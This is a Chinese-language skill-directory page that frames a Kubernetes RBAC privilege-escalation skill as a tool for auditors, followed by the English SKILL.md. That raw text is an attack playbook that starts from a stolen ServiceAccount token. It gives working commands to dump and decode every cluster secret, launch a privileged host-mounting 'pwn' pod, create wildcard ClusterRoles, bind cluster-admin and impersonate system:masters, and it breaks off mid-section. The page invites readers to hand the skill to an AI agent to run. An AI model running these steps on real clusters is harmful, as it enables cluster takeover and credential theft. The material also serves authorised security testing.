k8s-rbac-abuse
它能做什么
这项技能说明如何列出 Kubernetes 服务账户能做什么,以及哪些权限可能导致获得更强的角色。适合审查 RBAC 设置的集群管理员和审计人员。
适用场景
- ✓当管理员要求智能体列出授权集群中某个服务账户能做什么时。
- ✓当智能体检查某个角色是否允许进入特权 Pod 或读取机密时。
- ✓当审计需要说明某个角色开启了哪些权限提升路径时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的 CI 服务账户在集群中能做什么?它能否通过任何权限获得集群管理员权限?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体列出该账户的权限,检查角色和绑定对象,并标记任何能导致获得更强角色的权限。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
2.3 create pods — run a privileged pod yourself
Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host:
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it pwn -- /bin/sh
If PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.
2.4 escalate verb
The escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:
kubectl auth can-i escalate clusterroles
# If "yes":
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: total-pwn
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
# Then bind it to your SA
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default
2.5 bind verb
The bind verb lets you bind an existing higher-privilege ClusterRole to your SA:
kubectl auth can-i create clusterrolebindings
# OR
kubectl auth can-i bind clusterroles
# Either gives you escalation to cluster-admin:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default
2.6 impersonate verb
kubectl auth can-i impersonate users
# If yes, impersonate cluster-admin:
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
# Or impersonate a group:
kubectl --as=anything --as-group=system:masters get secrets -A
2.7 nodes/proxy — bypass RBAC via kubelet
kubectl auth can-i get nodes/proxy
# I
常见问题
什么是 RBAC?
它是 Kubernetes 中的一套系统,决定哪些账户可以对哪些对象执行哪些操作。
为什么读取机密有风险?
该技能指出,机密通常包含凭据,可能打开通往其他服务或角色的访问。
该技能是否包含修复方法?
它重点在于找出路径,撤销权限由集群所有者决定。
详情
作者的原始描述
Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.
热度
- GitHub 星标
- 6.5k
- 排名
- #13991
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …